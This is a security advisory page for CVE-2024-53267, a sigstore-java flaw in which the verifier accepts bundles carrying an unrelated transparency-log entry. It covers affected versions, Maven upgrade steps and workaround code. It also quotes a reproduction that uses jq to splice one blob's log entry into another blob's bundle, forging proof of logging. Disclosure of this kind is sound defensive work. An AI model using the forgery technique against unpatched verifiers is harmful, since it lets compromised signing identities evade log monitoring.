CVE-2024-53267: Sigstore java Sigstore-java Has Vulnerability With Bundle Vulnerability

MODERATE
Advisory Identifier: GHSA-q4xm-6fjc-5f6w
CVSS 5.5
CWE-345 CWE-347
Published
Advisory Summary

CVE-2024-53267 is a MODERATE (CVSS 5.5) sigstore-java has vulnerability with bundle vulnerability (CWE-345: Insufficient Verification of Data Authenticity) affecting Sigstore java libraries in the Maven ecosystem. The issue involves sigstore-java has vulnerability with bundle verification. Remediation is available by upgrading affected packages to version 1.1.0.

CVE-2024-53267 at a Glance

CVE Identifier CVE-2024-53267
GHSA Identifier GHSA-q4xm-6fjc-5f6w
Severity MODERATE
CVSS v3.1 Base Score 5.5
CWE Classification CWE-345: Insufficient Verification of Data Authenticity
Affected Product Sigstore java
Package Ecosystem Maven
Published Date
Last Updated

Security Impact

CVSS: 5.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2024-53267

To remediate this vulnerability, upgrade all affected Sigstore java dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

dev.sigstore:sigstore-java fixed: 1.1.0
<dependency>
    <groupId>dev.sigstore</groupId>
    <artifactId>sigstore-java</artifactId>
    <version>1.1.0</version>
</dependency>
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

mvn dependency:tree -Dincludes=dev.sigstore

How to Check if You Are Affected

To determine whether your Java application is affected by CVE-2024-53267, inspect your build dependencies using the Maven Dependency Plugin:

mvn dependency:tree -Dincludes=dev.sigstore

Analyze the terminal output to locate any version of Sigstore java in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.1.0), your application is affected.

Note: The mvn dependency:tree -Dincludes=dev.sigstore command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-345: Insufficient Verification of Data Authenticity, where the product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data. In Sigstore java, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary sigstore-java has insufficient verification for a situation where a validly-signed but "mismatched" bundle is presented as proof of inclusion into a transparency log ### Impact This bug impacts clients using any variation of KeylessVerifier.verify() The verifier may accept a bundle with an unrelated log entry, cryptographically verifying everything but fails to ensure the log entry applies to the artifact in question, thereby "verifying" a bundle without any proof the signing event was logged. This allows the creation of a bundle without fulcio certificate and private key combined with an unrelated but time-correct log entry to fake logging of a signing event. A malicious actor using a compromised identity may want to do this to prevent discovery via rekor's log monitors. The signer's identity will still be available to the verifier. The signature on the bundle must still be on the correct artifact for the verifier to pass. sigstore-gradle-plugin and sigstore-maven-plugin are not affected by this as they only provide signing functionality. ### Steps To Reproduce Build the java sigstore-cli at v1.0.0 ```shell git clone --branch v1.0.0 git@github.com:sigstore/sigstore-java cd sigstore-java ./gradlew :sigstore-cli:build tar -xf sigstore-cli/build/distributions/sigstore-cli-1.0.0-SNAPSHOT.tar --strip-components 1 ``` Create two random blobs ```shell dd bs=1 count=50 </dev/urandom > blob1 dd bs=1 count=50 </dev/urandom > blob2 ``` Sign each blob using the cli ```shell ./bin/sigstore-cli sign --bundle=blob1.sigstore.json blob1 ./bin/sigstore-cli sign --bundle=blob2.sigstore.json blob2 ``` Create a falsified bundle including the base64Signature and cert fields from blob1's bundle and the rekorBundle from blob2's bundle ```shell jq --slurpfile bundle2 blob2.sigstore.json '.verificationMaterial.tlogEntries = $bundle2[0].verificationMaterial.tlogEntries' blob1.sigstore.json > invalidBundle.sigstore.json ``` Find the embedded artifact hash in the bundle, and compare to the sha256 sums of blob1 and blob2. See that the bundle tlog entry matches blob2. ```shell cat invalidBundle.sigstore.json | jq -r '.verificationMaterial.tlogEntries[0].canonicalizedBody' | base64 -d | jq -r '.spec.data.hash.value' sha256sum blob1 blob2 ``` Verify the bundle against blob1 ```shell ./bin/sigstore-cli verify --bundle=invalidBundle.sigstore.json blob1 # no errors???! ``` ### Patches Patched in v1.1.0 release with https://github.com/sigstore/sigstore-java/pull/856 Added conformance test for all clients in: https://github.com/sigstore/sigstore-conformance/pull/166 ### Workarounds 1. Verifiers can recreate the log entry and compare it to the provided log entry. ``` var bundle = Bundle.from(bundleFile, StandardCharsets.UTF_8); var rekorEntry = bundle.getEntries().get(0); var calculatedHashedRekord = Base64.toBase64String( HashedRekordRequest.newHashedRekordRequest( artifactDigest, Certificates.toPemBytes(Certificates.getLeaf(bundle.getCertPath())), bundle.getMessageSignature().get().getSignature()) .toJsonPayload() .getBytes(StandardCharsets.UTF_8)); if (!Objects.equals(calculatedHashedRekord, rekorEntry.getBody())) { throw new Exception("Provided verification materials are inconsistent with log entry"); } ``` 2. Verifiers can contact the log and discover if the artifact signing event has indeed been added to the log ```java var bundle = Bundle.from(bundleFile, StandardCharsets.UTF); var artifactDigest = Files.asByteSource(Path.of(artifact).toFile()).hash(Hashing.sha256()).asBytes(); var sigstoreTufClientBuilder = SigstoreTufClient.builder().usePublicGoodInstance(); var trustedRootProvider = TrustedRootProvider.from(sigstoreTufClientBuilder); var entry = RekorEntryFetcher.fromTrustedRoot(trustedRootProvider).getEntryFromRekor(artifactDigest, Certificates.getLeaf(bundle.getCertPath()), bundle.getMessageSignature().get().getSignature()); RekorVerifier.newRekorVerifier(trustedRootProvider.get()).verifyEntry(entry); ```

CVE-2024-53267 Affected Sigstore java Versions

1 component(s)
Fixed Versions:
1.1.0
Product / Package Ecosystem Affected Versions Fixed Version
dev.sigstore:sigstore-java
Maven
≥ 1.0.0
< 1.1.0
All 1 versions
1.0.0
1.1.0

References

Frequently Asked Questions

What is CVE-2024-53267?
CVE-2024-53267 is a security vulnerability in Sigstore java involving sigstore-java has vulnerability with bundle verification under CWE-345: Insufficient Verification of Data Authenticity.
Which Sigstore java versions are affected?
Affected versions include releases prior to 1.1.0 across affected packages: dev.sigstore:sigstore-java.
What version fixes CVE-2024-53267?
Upgrading to 1.1.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is sigstore-java affected?
Yes, dev.sigstore:sigstore-java is affected in releases prior to 1.1.0. Upgrade your dependency to 1.1.0 or later.
What is the CVSS score of CVE-2024-53267?
CVE-2024-53267 has a CVSS v3.1 base score of 5.5 (MODERATE) with vector string CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N.
What CWE is associated with CVE-2024-53267?
CVE-2024-53267 is classified under CWE-345: Insufficient Verification of Data Authenticity (The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.).
How can I check Maven dependencies for CVE-2024-53267?
Run the dependency tree command: 'mvn dependency:tree -Dincludes=dev.sigstore'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-q4xm-6fjc-5f6w",
  "modified" : "2024-12-09T17:00:45Z",
  "published" : "2024-11-26T16:38:18Z",
  "aliases" : [ "CVE-2024-53267" ],
  "summary" : "sigstore-java has vulnerability with bundle verification",
  "details" : "### Summary\nsigstore-java has insufficient verification for a situation where a validly-signed but \"mismatched\" bundle is presented as proof of inclusion into a transparency log\n\n### Impact\n\nThis bug impacts clients using any variation of KeylessVerifier.verify()\n\nThe verifier may accept a bundle with an unrelated log entry, cryptographically verifying everything but fails to ensure the log entry applies to the artifact in question, thereby \"verifying\" a bundle without any proof the signing event was logged.\n\nThis allows the creation of a bundle without fulcio certificate and private key combined with an unrelated but time-correct log entry to fake logging of a signing event. A malicious actor using a compromised identity may want to do this to prevent discovery via rekor's log monitors.\n\nThe signer's identity will still be available to the verifier. The signature on the bundle must still be on the correct artifact for the verifier to pass.\n\nsigstore-gradle-plugin and sigstore-maven-plugin are not affected by this as they only provide signing functionality.\n\n### Steps To Reproduce\n\nBuild the java sigstore-cli at v1.0.0\n```shell\ngit clone --branch v1.0.0 git@github.com:sigstore/sigstore-java\ncd sigstore-java\n./gradlew :sigstore-cli:build\ntar -xf sigstore-cli/build/distributions/sigstore-cli-1.0.0-SNAPSHOT.tar --strip-components 1\n```\n\nCreate two random blobs\n```shell\ndd bs=1 count=50 </dev/urandom > blob1\ndd bs=1 count=50 </dev/urandom > blob2\n```\n\nSign each blob using the cli\n```shell\n./bin/sigstore-cli sign --bundle=blob1.sigstore.json blob1\n./bin/sigstore-cli sign --bundle=blob2.sigstore.json blob2\n```\n\nCreate a falsified bundle including the base64Signature and cert fields from blob1's bundle and the rekorBundle from blob2's bundle\n```shell\njq --slurpfile bundle2 blob2.sigstore.json '.verificationMaterial.tlogEntries = $bundle2[0].verificationMaterial.tlogEntries' blob1.sigstore.json > invalidBundle.sigstore.json\n```\n\nFind the embedded artifact hash in the bundle, and compare to the sha256 sums of blob1 and blob2. See that the bundle tlog entry matches blob2.\n```shell\ncat invalidBundle.sigstore.json | jq -r '.verificationMaterial.tlogEntries[0].canonicalizedBody' | base64 -d | jq -r '.spec.data.hash.value'\n\nsha256sum blob1 blob2\n```\n\nVerify the bundle against blob1\n```shell\n./bin/sigstore-cli verify --bundle=invalidBundle.sigstore.json blob1\n# no errors???!\n```\n\n### Patches\nPatched in v1.1.0 release with https://github.com/sigstore/sigstore-java/pull/856\nAdded conformance test for all clients in: https://github.com/sigstore/sigstore-conformance/pull/166\n\n### Workarounds\n1. Verifiers can recreate the log entry and compare it to the provided log entry.\n```\nvar bundle = Bundle.from(bundleFile, StandardCharsets.UTF_8);\nvar rekorEntry = bundle.getEntries().get(0);\nvar calculatedHashedRekord =\n    Base64.toBase64String(\n        HashedRekordRequest.newHashedRekordRequest(\n                artifactDigest,\n                Certificates.toPemBytes(Certificates.getLeaf(bundle.getCertPath())),\n                bundle.getMessageSignature().get().getSignature())\n            .toJsonPayload()\n            .getBytes(StandardCharsets.UTF_8));\nif (!Objects.equals(calculatedHashedRekord, rekorEntry.getBody())) {\n  throw new Exception(\"Provided verification materials are inconsistent with log entry\");\n}\n```\n2. Verifiers can contact the log and discover if the artifact signing event has indeed been added to the log\n```java\nvar bundle = Bundle.from(bundleFile, StandardCharsets.UTF);\nvar artifactDigest = Files.asByteSource(Path.of(artifact).toFile()).hash(Hashing.sha256()).asBytes();\nvar sigstoreTufClientBuilder = SigstoreTufClient.builder().usePublicGoodInstance();\nvar trustedRootProvider = TrustedRootProvider.from(sigstoreTufClientBuilder);\nvar entry = RekorEntryFetcher.fromTrustedRoot(trustedRootProvider).getEntryFromRekor(artifactDigest, Certificates.getLeaf(bundle.getCertPath()), bundle.getMessageSignature().get().getSignature());\nRekorVerifier.newRekorVerifier(trustedRootProvider.get()).verifyEntry(entry);\n```\n",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "dev.sigstore:sigstore-java"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.0.0"
      }, {
        "fixed" : "1.1.0"
      } ]
    } ],
    "versions" : [ "1.0.0" ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/sigstore/sigstore-java/security/advisories/GHSA-q4xm-6fjc-5f6w"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-53267"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/sigstore/sigstore-conformance/pull/166"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/sigstore/sigstore-java/pull/856"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/sigstore/sigstore-java"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-345", "CWE-347" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-11-26T16:38:18Z",
    "nvd_published_at" : "2024-11-26T19:15:30Z"
  }
}